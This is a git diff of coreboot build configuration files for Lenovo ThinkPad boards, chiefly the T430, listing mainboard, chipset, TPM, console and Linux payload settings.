+CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" +CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" +CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS=y +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y +CONFIG_DRIVERS_MC146818=y +# CONFIG_USE_PC_CMOS_ALTCENTURY is not set +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +CONFIG_DRIVERS_RICOH_RCE822=y +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_NO_TPM is not set +CONFIG_TPM1=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM1=y +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +# CONFIG_STM is not set +# CONFIG_BOOTMEDIA_LOCK_NONE is not set CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y +# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +# CONFIG_SPKMODEM is not set +CONFIG_CONSOLE_USB=y +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_IOAPIC=y +CONFIG_USE_WATCHDOG_ON_BOOT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_SMBIOS_PROVIDED_BY_MOBO=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# + +# +# General Debug Settings +# +# CONFIG_FATAL_ASSERTS is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_RAM_SETUP=y +# CONFIG_DEBUG_RAM_SETUP is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_RAMSTAGE_ADA=y +CONFIG_RAMSTAGE_LIBHWBASE=y +CONFIG_HWBASE_DYNAMIC_MMIO=y +CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 +CONFIG_HWBASE_DIRECT_PCIDEV=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-t430-maximized.config b/config/coreboot-t430-maximized.config index 447afe734..66bb73465 100644 --- a/config/coreboot-t430-maximized.config +++ b/config/coreboot-t430-maximized.config @@ -1,30 +1,713 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +# CONFIG_OPTION_BACKEND_NONE is not set CONFIG_USE_OPTION_TABLE=y CONFIG_STATIC_OPTION_TABLE=y +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set # CONFIG_USE_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_BOARD_SPECIFIC_OPTIONS=y +CONFIG_MAINBOARD_FAMILY="ThinkPad T430" +CONFIG_MAINBOARD_PART_NUMBER="ThinkPad T430" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="lenovo/t430" +CONFIG_VGA_BIOS_ID="8086,0166" +CONFIG_DIMM_MAX=4 +CONFIG_DIMM_SPD_SIZE=256 +CONFIG_FMDFILE="" CONFIG_NO_POST=y +CONFIG_MAINBOARD_VENDOR="LENOVO" CONFIG_CBFS_SIZE=0xBE4FFF +CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 +CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 +CONFIG_MAX_CPUS=8 +CONFIG_ONBOARD_VGA_IS_PRIMARY=y +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_OVERRIDE_DEVICETREE="" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" +CONFIG_DRAM_RESET_GATE_GPIO=10 +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/data.vbt" +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" +CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xfefe0000 +CONFIG_DCACHE_RAM_SIZE=0x20000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y +CONFIG_SPI_FLASH_WINBOND=y +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad T430" CONFIG_HAVE_IFD_BIN=y +CONFIG_PCIEXP_HOTPLUG_BUSES=8 +CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 +# CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set +# CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set +# CONFIG_BOARD_LENOVO_L520 is not set +# CONFIG_BOARD_LENOVO_S230U is not set +# CONFIG_BOARD_LENOVO_T400 is not set +# CONFIG_BOARD_LENOVO_T500 is not set +# CONFIG_BOARD_LENOVO_R400 is not set +# CONFIG_BOARD_LENOVO_R500 is not set +# CONFIG_BOARD_LENOVO_W500 is not set +# CONFIG_BOARD_LENOVO_T410 is not set +# CONFIG_BOARD_LENOVO_T420 is not set +# CONFIG_BOARD_LENOVO_T420S is not set CONFIG_BOARD_LENOVO_THINKPAD_T430=y +# CONFIG_BOARD_LENOVO_T430S is not set +# CONFIG_BOARD_LENOVO_T431S is not set +# CONFIG_BOARD_LENOVO_T520 is not set +# CONFIG_BOARD_LENOVO_W520 is not set +# CONFIG_BOARD_LENOVO_T530 is not set +# CONFIG_BOARD_LENOVO_W530 is not set +# CONFIG_BOARD_LENOVO_T60 is not set +# CONFIG_BOARD_LENOVO_Z61T is not set +# CONFIG_BOARD_LENOVO_R60 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set +# CONFIG_BOARD_LENOVO_X131E is not set +# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set +# CONFIG_BOARD_LENOVO_X200 is not set +# CONFIG_BOARD_LENOVO_X301 is not set +# CONFIG_BOARD_LENOVO_X201 is not set +# CONFIG_BOARD_LENOVO_X220 is not set +# CONFIG_BOARD_LENOVO_X220I is not set +# CONFIG_BOARD_LENOVO_X1 is not set +# CONFIG_BOARD_LENOVO_X230 is not set +# CONFIG_BOARD_LENOVO_X230T is not set +# CONFIG_BOARD_LENOVO_X230S is not set +# CONFIG_BOARD_LENOVO_X230_EDP is not set +# CONFIG_BOARD_LENOVO_X60 is not set +CONFIG_VBOOT_SLOTS_RW_AB=y +CONFIG_DRIVER_LENOVO_SERIALS=y +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="LEN0015" +CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" +CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +# CONFIG_PCIEXP_L1_SUB_STATE is not set +# CONFIG_PCIEXP_CLK_PM is not set +# CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_12288=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +CONFIG_COREBOOT_ROMSIZE_KB_12288=y +# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=12288 +CONFIG_ROM_SIZE=0x00c00000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 +# end of Mainboard + +CONFIG_SYSTEM_TYPE_LAPTOP=y + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="northbridge/intel/sandybridge/chipset.cb" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x100000 +CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_SERIRQ_CONTINUOUS_MODE=y +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 +CONFIG_INTEL_GMA_BCLV_WIDTH=16 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 +CONFIG_INTEL_GMA_BCLM_WIDTH=16 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 +CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 +CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 +CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 + +# +# CPU +# +CONFIG_CPU_INTEL_MODEL_206AX=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_TIMEBASE=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_MICROCODE_UPDATE_PRE_RAM=y +CONFIG_PARALLEL_MP=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_TSC_SYNC_MFENCE=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set + +# +# Northbridge +# +CONFIG_USE_NATIVE_RAMINIT=y +CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y +# CONFIG_NATIVE_RAMINIT_IGNORE_MAX_MEM_FUSES is not set +# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_MAX_DIMMS is not set +# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set +# CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set +CONFIG_RAMINIT_ENABLE_ECC=y + +# +# Southbridge +# +CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y +CONFIG_SOUTHBRIDGE_INTEL_C216=y +# CONFIG_HIDE_MEI_ON_ERROR is not set +CONFIG_PCIEXP_HOTPLUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_ME=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y +CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set # CONFIG_INTEL_CHIPSET_LOCKDOWN is not set +CONFIG_TCO_SPACE_NOT_YET_SPLIT=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# +CONFIG_EC_ACPI=y +CONFIG_EC_LENOVO_H8=y +CONFIG_H8_BEEP_ON_DEATH=y +CONFIG_H8_FLASH_LEDS_ON_DEATH=y +# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set +# CONFIG_H8_FN_CTRL_SWAP is not set +CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y +CONFIG_EC_LENOVO_PMH7=y + +# +# Intel Firmware +# CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_CHECK_ME is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +# CONFIG_USE_ME_CLEANER is not set +CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y CONFIG_HAVE_GBE_BIN=y +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_MAINBOARD_HAS_LIBGFXINIT=y +CONFIG_MAINBOARD_USE_LIBGFXINIT=y +# CONFIG_VGA_ROM_RUN is not set +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x04000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y +# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +CONFIG_USE_DDR3=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +# CONFIG_MRC_SETTINGS_PROTECT is not set +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y 